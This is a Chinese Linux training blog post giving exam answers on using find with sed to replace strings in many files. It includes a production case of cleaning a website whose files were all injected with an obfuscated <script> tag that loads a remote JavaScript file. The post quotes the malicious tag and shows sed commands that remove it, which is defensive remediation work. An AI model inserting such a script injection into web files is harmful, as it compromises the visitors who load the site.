find+sed考试题及生产实战解决案例分享(考试答案系列)

时间:2022-07-15 04:29:58

说明:本文为老男孩linux培训某节课前考试试题及答案分享博文内容的一部分,也是独立成题的,你可以点下面地址查看全部的内容信息。
http://oldboy.blog.51cto.com/2561410/791245
特别说明:答题的思路技巧可能比做题本身更重要,这也是老男孩特别教导学生的学习方法。

5.查找当前目录下所有文件,并把文件中的www.etiantian.org字符串替换成www.oldboy.cc

解答:

通过find命令查找,然后通过-exec参数调用sed命令完成替换

find . -type f -exec sed -i 's/www\.etiantian\.org/oldboy\.cc/g'{} \;

#→这个命令是错误的语法,仅结尾{}前少了个空格,细节决定成败啊!

find . -type f -exec sed -i 's/www\.etiantian\.org/oldboy\.cc/g' {} \;

#→这个命令是正确的语法,点号为特殊字符,使用\来转义(除去特殊字符代表的特殊含义,使用其本身的原始意义)。对于本题可以不用转义。

find . -type f -exec sed -i 's/www.oldboy.cc/www.etiantian.org/g' {} \; #→此处不转义也可以。

find . -type f -exec sed -i 's#www.etiantian.org#www.oldboy.cc#g' {} \;

说明:此题考察find,sed命令的组合使用,是非常常用,好用的两个命令,必须精通之。

案例实践:

[root@oldboy test]# echo www.etiantian.org >test.txt #→创建测试文件,录入wwww.etiantian.org

[root@oldboy test]# echo www.etiantian.org >ett.txt #→创建测试文件,录入wwww.etiantian.org

[root@oldboy test]# cat test.txt ett.txt 

www.etiantian.org

www.etiantian.org

[root@oldboy test]# ls 

ett.txt  test.txt

[root@oldboy test]# find . -type f -exec sed -i 's/www.etiantian.org/oldboy.cc/g' {} \;

#→查找当前目录(点表示当前目录),所有文件,然后把文件中的www.etiantian.org的字符串,替换为oldboy.cc

[root@oldboy test]# cat ett.txt test.txt

oldboy.cc#→修改后的结果,原来是www.etiantian.org

oldboy.cc

[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \;

[root@oldboy test]# cat ett.txt test.txt

www.etiantian.org #→修改后的结果,刚刚是oldboy.cc

www.etiantian.org

如果是语法错误就会出现如下提示:

[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \;

sed: -e expression #1, char 40: unterminated `s' command

sed: -e expression #1, char 41: unterminated `s' command

[root@oldboy test]# find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\;

find: missing argument to `-exec'

正确错误命令对比:

find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g'{} \; #→错误命令

find . -type f -exec sed -i 's#oldboy.cc/www.etiantian.org/g' {}\; #→错误命令

find . -type f -exec sed -i 's#oldboy.cc#www.etiantian.org#g' {} \; #→正确命令,大括号前后各多了个空格,这也是find命令的语法写法。

参考man find帮助案例:

EXAMPLES

       find /tmp -name core -type f -print | xargs /bin/rm -f

       Find  files named core in or below the directory /tmp and delete them.  Note that this will work incorrectly if there are any filenames containing newlines, single or double quotes, or spaces.

       find /tmp -name core -type f -print0 | xargs -0 /bin/rm -f

       Find files named core in or below the directory /tmp and delete them, processing filenames in such a  way  that file  or  directory  names  containing  single or double quotes, spaces or newlines are correctly handled.  The  -name test comes before the -type test in order to avoid having to call stat(2) on every file.

       find . -type f -exec file '{}' \;

例:查看找所有文件并查看文件类型

[root@oldboy test]# find . -type f -exec file '{}' \;

./ett.txt: ASCII text

./test.txt: ASCII text

[root@oldboy test]# find . -type f -exec file {} \;

./ett.txt: ASCII text

./test.txt: ASCII text

学生典型答案:

答案1

解答: # grep "www.etiantian.org"  * |tr "www.etiantian.org"  oldboy.cc

老男孩老师点评:这是错误答案。

答案2

find . -type f |sed -i s/www.ethiantian.org/www.oldboy.cc/g

老男孩老师点评:这是不规范的正确答案,加引号比较好。

答案3

find . -type f |xargs sed -i s/www.ethiantian.org/www.oldboy.cc/g

老男孩老师点评:此答案思路也可以,注意加引号。

生产环境正式案例:

这是一个几年前老男孩老师给一家IT公司做技术顾问时遇到的一个实际问题,情况是:

一个lamp的服务器,站点目录下所有文件均被植入了如下内容:

<script language=javascript src=http://%4%66E%78% 6F %72%67%2E%70% 6F /x.js?google_ad=93x28_ad></script>

包括图片文件也被植入了,网站打开时就会调用这个地址,造成的影响很恶劣。

    虽然问题现在看起来简单,但当时该公司的两个linux运维花了很久都没搞定,后来给老男孩电话。5分钟内搞定。

实际解决办法:

    思路是:需要遍历所有目录所有文件 把以上被植入的内容删除掉。

实践演示:

[root@oldboy test]# cat guanggao.txt  #→模拟被窜改的文件,多个。

<script language=javascript src=http://%64%64%66%2E%78% 6F %72%67%2E%70% 6C /x.js?google_ad=95x27_ad></script>

处理命令:


法一:

[root@oldboy test]#find . -type f -exec sed -i 's#<script language=javascript src=http://%64%64%66%2E%78% 6F %72%67%2E%70% 6C /x.js?google_ad=95x27_ad></script>##g' {} \;

#→就是本题的命令使用方法。

法二:

find sed删除 正则

匹配:?google_ad ,包含字符串?google_ad的内容的行删除。

[root@oldboy oldboy]# find . -type f -exec sed -i '/^.*\?google_ad/d' {} \;

 特别提示:法二的方法,容易把程序里的其他正常内容删除掉,匹配关键字很重要,因此不建议使用法二。

如果用完整匹配删除则很麻烦:

find . -type f -exec sed -i '/<script language=javascript src=http://%64%64%66%2E%78% 6F %72%67%2E%70% 6C /x\.js\?google_ad=95x27_ad><\/script>/d' {} \;

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

sed: -e expression #1, char 40: unknown command: `/'

处理后的结果

[root@oldboy test]# cat guanggao.txt

当时的处理过程:

1、和运维人员确认确实出问题了。并详细确认问题情况。

2、制定处理方案,先备份数据,然后,执行命令批量修改回来。

3、写解决说明(类似本例这样),写完发给他们的运维。

4、询问处理结果,并告知详细查看日志,问题发生来源。

5、提供亡羊补牢解决方案(站点目录严格权限规划方案及新上线规范思路)。

站点目录严格权限规划方案及新上线规范思路,请参考:

老男孩linux实战培训教案-Linux文件和目录的属性及权限精华讲解
老男孩linux实战培训教案-LAMP/LNMP生产环境40条优化军规精华讲解

老男孩linux实战培训教案-生产环境sina,baidu,腾讯门户站上线发布代码方案精华讲解

 

特别说明:find,sed是工作中极其重要的两个命令,同学们必须详细总结,并掌握之。可参考:

《老男孩linux实战培训教案-强大的流编辑器sed详解指南及经典生产案例》

《老男孩linux实战培训教案--find详解指南及经典生产案例》

本文出自 “老男孩linux培训” 博客,请务必保留此出处http://oldboy.blog.51cto.com/2561410/792396